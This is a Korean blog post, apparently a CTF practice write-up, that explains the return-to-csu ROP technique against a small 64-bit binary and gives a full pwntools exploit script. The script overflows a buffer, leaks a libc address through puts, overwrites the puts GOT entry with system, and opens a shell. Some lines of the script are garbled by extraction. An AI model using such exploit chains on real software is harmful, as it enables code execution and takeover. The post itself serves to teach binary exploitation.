티스토리 뷰

카테고리 없음

return-to-csu

mhibio 2019. 8. 23. 08:29

csurself_
0.01MB

배우려다가 2달 지연된 rtc..

rtc는 return to csu의 약자로 바이너리 안에 존재한는 csu함수 또는 init fini를 이용해서 익스하는 기법이다.

바이너리는 실행시키자마자 바로 bof를준다.

64bit rop로도 exploit가능한 문제.

 

대충 rtc를 설명하자면 40073A부터 쭉 내려오는 pop register 들을 이용해 레지스터에 값을 넣고

400720을 통해 edi(rdi) rsi rdx에 값을 넣어주고(인자전달) call에 원하는 함수_got를 넣어서 실행(r12)시키고

cmp와 jnz의 조건을 맞쳐서 계속 chain해주면 된다.

 

가젯으로 40073A와 400720의 주소를 사용할예정이다.

(40073A, 400720)가젯은 해당주소부터 쭉 내려오면서 ret을 만날때까지 실행한다.

 

최초 setcsu는 한번만 해주면 된다.

call_csu를 하면 rbx와 rbp를 함께 설정해줘서 cmp와 jnz를 충족시켜서 chain이 된다.

 

또 chain할때 add rsp, 8 에서 rsp값이 8만큼 상승하기에 dummy * 8을 넣어줘서 rsp+8에서도 오류없이 코드작동하게 만들어준다..

 

* 함수호출시 got

함수 호출시에는 무조건 호출함수의 got값을 넣어줘야한다.

read_plt의 모습이다.

plt = 0x4004c0

got = 0x601020

 

 

 

 

보이다시피 read의 got에는 알맞은 libc의값이 들어가있다.

하지만 call qword ptr [read_plt]를 한다면 위에 보이는 이상한 주소에 있는것을 call할것이다.

Exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
 
context.log_level = 'debug'
 
= process('./csurself_')
= ELF('./csurself_')
= e.libc
 
bss = e.bss() + 0x200
 
read_plt = e.plt['read']
read_got = e.got['read']
 
puts_plt = e.plt['puts']
puts_got = e.got['puts']
 
setcsu = 0x000000000040073A
call_csu = 0x0000000000400720
 
pay = "A" * 0x30
pay += "B"*8
 
pay += p64(setcsu)
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(bss)
pay += p64(0)
pay += p64(call_csu)
 
pay += "A"*8
pay += p64(0)
pay += p64(1)
pay += p64(puts_got)
pay += p64(0)
pay += p64(0)
pay += p64(puts_got)
pay += p64(call_csu)
 
pay += "B"*8
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(puts_got)
pay += p64(0)
pay += p64(call_csu)
 
pay += "c"*8
pay += p64(0)
pay += p64(1)
pay += p64(puts_got)
pay += p64(0)
pay += p64(0)
pay += p64(bss)
pay += p64(call_csu)
 
p.recv()
 
p.send(pay)
 
p.send('/bin/sh\x00')
 
 
tmp = u64(p.recvuntil('\x7f')[-6:].ljust(8'\x00'))
log.info(hex(tmp))
 
base = tmp - l.symbols['puts']
sys = base + l.symbols['system']
 
log.info(hex(base))
log.info(hex(sys))
 
p.send(p64(sys))
 
p.interactive()
 
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함